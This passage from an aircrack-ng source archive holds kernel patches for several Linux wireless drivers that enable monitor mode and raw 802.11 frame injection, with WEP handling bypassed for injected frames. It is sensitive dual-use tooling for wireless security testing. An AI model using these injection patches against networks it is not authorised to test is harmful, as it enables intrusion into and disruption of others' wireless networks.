0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); #endif /* >= 2.6.13 */ Only in hostap-driver-0.4.7-aircrack-ng/driver/modules: .hostap_cs.c.swp diff -ur hostap-driver-0.4.7/driver/modules/hostap_hw.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_hw.c --- hostap-driver-0.4.7/driver/modules/hostap_hw.c 2005-08-20 12:32:34.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_hw.c 2006-03-20 14:45:13.000000000 -0500 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3260,6 +3297,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur hostap-driver-0.4.7/driver/modules/hostap_ioctl.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_ioctl.c --- hostap-driver-0.4.7/driver/modules/hostap_ioctl.c 2005-09-18 21:51:47.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_ioctl.c 2006-03-20 14:45:13.000000000 -0500 @@ -1068,33 +1068,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1160,7 +1134,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur hostap-driver-0.4.7/driver/modules/hostap_pci.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_pci.c --- hostap-driver-0.4.7/driver/modules/hostap_pci.c 2005-09-17 17:05:08.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_pci.c 2006-03-20 14:45:13.000000000 -0500 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur hostap-driver-0.4.7/driver/modules/hostap_plx.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_plx.c --- hostap-driver-0.4.7/driver/modules/hostap_plx.c 2005-09-17 17:05:08.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_plx.c 2006-03-20 14:45:13.000000000 -0500 @@ -98,6 +98,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur hostap-driver-0.4.7/driver/modules/hostap_wlan.h hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_wlan.h --- hostap-driver-0.4.7/driver/modules/hostap_wlan.h 2005-08-06 13:55:14.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_wlan.h 2006-03-20 14:45:13.000000000 -0500 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.1/patches/linux-wlanng-kernel-2.6.28.patch0000644000000000000000000002654711166027223021354 0ustar rootrootdiff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x.c 2009-04-04 22:53:46.000000000 -0400 @@ -1873,8 +1873,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3114,11 +3122,32 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); @@ -3142,7 +3171,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3588,6 +3618,17 @@ { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(rxdesc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/hfa384x_usb.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/hfa384x_usb.c 2009-04-04 23:13:53.000000000 -0400 @@ -1430,8 +1430,17 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } + cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3431,37 +3440,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); +// hw->txbuff.txfrm.desc.tx_control = +// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); - - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); +// /* copy the header over to the txdesc */ +// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } +// /* if we're using host WEP, increase size by IV+ICV */ +// if (p80211_wep->data) { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// usbpktlen+=8; +// } else { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4223,6 +4266,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/p80211netdev.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/p80211netdev.c 2009-04-04 22:42:15.000000000 -0400 @@ -512,7 +512,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -524,7 +524,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -952,8 +952,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented (XXX: Why exactly do we remove this???) +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c 2009-04-04 23:18:35.000000000 -0400 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { +// if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; +// word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { +// if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c --- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c 2009-04-04 23:20:58.000000000 -0400 @@ -411,7 +411,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { +// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.1/patches/zd1211rw_inject_2.6.23.patch0000644000000000000000000001762010761053203020344 0ustar rootrootdiff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-12-04 00:07:04.000000000 +0100 @@ -164,8 +164,17 @@ static int reset_mode(struct zd_mac *mac) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); - u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + struct zd_ioreq32 ioreqs[] = { + { CR_RX_FILTER, STA_RX_FILTER }, + { CR_SNIFFER_ON, 0U }, + }; + + if (ieee->iw_mode == IW_MODE_MONITOR) { + ioreqs[0].value = 0xffffffff; + ioreqs[1].value = 0x1; + } + + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } int zd_mac_open(struct net_device *netdev) @@ -211,7 +220,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -778,6 +793,8 @@ struct ieee80211_hdr_4addr *hdr) { struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + struct ieee80211softmac_txrates *txrates = &softmac->txrates; u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl)); u8 rate, zd_rate; int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0; @@ -787,10 +804,16 @@ int flags = 0; /* FIXME: 802.11a? */ - rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); - - if (short_preamble) - flags |= R2M_SHORT_PREAMBLE; + if(ieee->iw_mode == IW_MODE_MONITOR) + { + rate = txrates->default_rate; + } + else + { + rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); + if (short_preamble) + flags |= R2M_SHORT_PREAMBLE; + } zd_rate = rate_to_zd_rate(rate); cs->modulation = zd_rate_to_modulation(zd_rate, flags); @@ -800,6 +823,7 @@ struct ieee80211_hdr_4addr *header) { struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); unsigned int tx_length = le16_to_cpu(cs->tx_length); u16 fctl = le16_to_cpu(header->frame_ctl); u16 ftype = WLAN_FC_GET_TYPE(fctl); @@ -813,13 +837,21 @@ cs->control = 0; - /* First fragment */ - if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + if(ieee->iw_mode == IW_MODE_MONITOR) + { cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; - - /* Multicast */ - if (is_multicast_ether_addr(header->addr1)) cs->control |= ZD_CS_MULTICAST; + } + else + { + /* First fragment */ + if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; + + /* Multicast */ + if (is_multicast_ether_addr(header->addr1)) + cs->control |= ZD_CS_MULTICAST; + } /* PS-POLL */ if (ftype == IEEE80211_FTYPE_CTL && stype == IEEE80211_STYPE_PSPOLL) @@ -846,6 +878,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -869,7 +902,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); +/* if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else*/ + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -925,7 +961,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -945,6 +985,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -958,7 +1000,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -972,6 +1016,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1078,7 +1125,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)){ struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-12-04 00:07:33.000000000 +0100 @@ -811,6 +811,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-12-04 00:07:22.000000000 +0100 @@ -222,6 +222,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.1/patches/mac80211_2.6.28-rc8-wl_frag+ack_radiotap.patch0000644000000000000000000000576711121505706023416 0ustar rootrootdiff --git a/include/net/ieee80211_radiotap.h b/include/net/ieee80211_radiotap.h index d364fd5..4e28c0c 100644 --- a/include/net/ieee80211_radiotap.h +++ b/include/net/ieee80211_radiotap.h @@ -247,6 +247,9 @@ enum ieee80211_radiotap_type { * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ +#define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* frame should not be ACKed */ +#define IEEE80211_RADIOTAP_F_TX_NOSEQ 0x0010 /* sequence number handled + * by userspace */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 22702e7..b397aed 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -609,6 +609,10 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) u8 *qc; int tid; + if (unlikely(!(info->flags & 